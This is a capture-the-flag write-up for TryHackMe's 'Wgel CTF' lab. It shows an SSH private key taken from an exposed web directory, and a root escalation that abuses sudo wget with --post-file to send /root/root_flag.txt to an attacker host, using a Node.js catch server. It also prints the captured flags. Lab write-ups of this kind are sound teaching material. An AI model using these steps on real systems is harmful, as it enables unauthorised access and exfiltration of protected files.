Back to CTF Writeups

Wgel CTF — TryHackMe CTF

Exposed SSH private key via web enumeration, sudo wget NOPASSWD used to exfiltrate root flag via --post-file. 2 flags.

TryHackMeEasyMar 20260xb0rn3 | oxbv1

Overview

A misconfigured web server leaks an SSH private key in a publicly accessible /.ssh/ directory. Username harvested from HTML comments. Privilege escalation via sudo wget NOPASSWD using --post-file to exfiltrate root-owned files.

Gobuster → /sitemap/ → HTML comment (username: jessie) → /sitemap/.ssh/id_rsa → SSH as jessie → user flag → sudo wget --post-file=/root/root_flag.txt → root flag

Reconnaissance

PortService
22/tcpOpenSSH 7.2p2
80/tcpApache 2.4.18

Gobuster found /sitemap/. Page source contained:

<!-- Jessie don't forget to update the webiste -->

Further enumeration found /sitemap/.ssh/id_rsa — SSH private key publicly exposed.

Foothold

wget http://TARGET/sitemap/.ssh/id_rsa
chmod 600 id_rsa
ssh -i id_rsa jessie@TARGET
cat ~/Documents/user_flag.txt
USER: 057c67131c3d5e42dd5cd3075b198ff6

Privilege Escalation — sudo wget

sudo -l
# (root) NOPASSWD: /usr/bin/wget

wget --post-file sends a file's contents as POST body to any URL. Start a catch server, exfiltrate:

# Attacker: start catch server
node -e "require('http').createServer((q,r)=>{let b='';q.on('data',c=>b+=c);q.on('end',()=>{console.log(b);r.end()})}).listen(8888)"

# Target: exfil root flag
sudo wget --post-file=/root/root_flag.txt http://OUR_IP:8888/ -q
ROOT: b1b968b37519ad1daa6408188649263d

Lessons Learned

  1. Always check /.ssh/ directories during web enumeration — exposed private keys are instant footholds.
  2. HTML comments leak usernames. Real-world developers leave notes in source.
  3. sudo wget = file read as root. --post-file exfiltrates any file. Classic GTFOBins technique.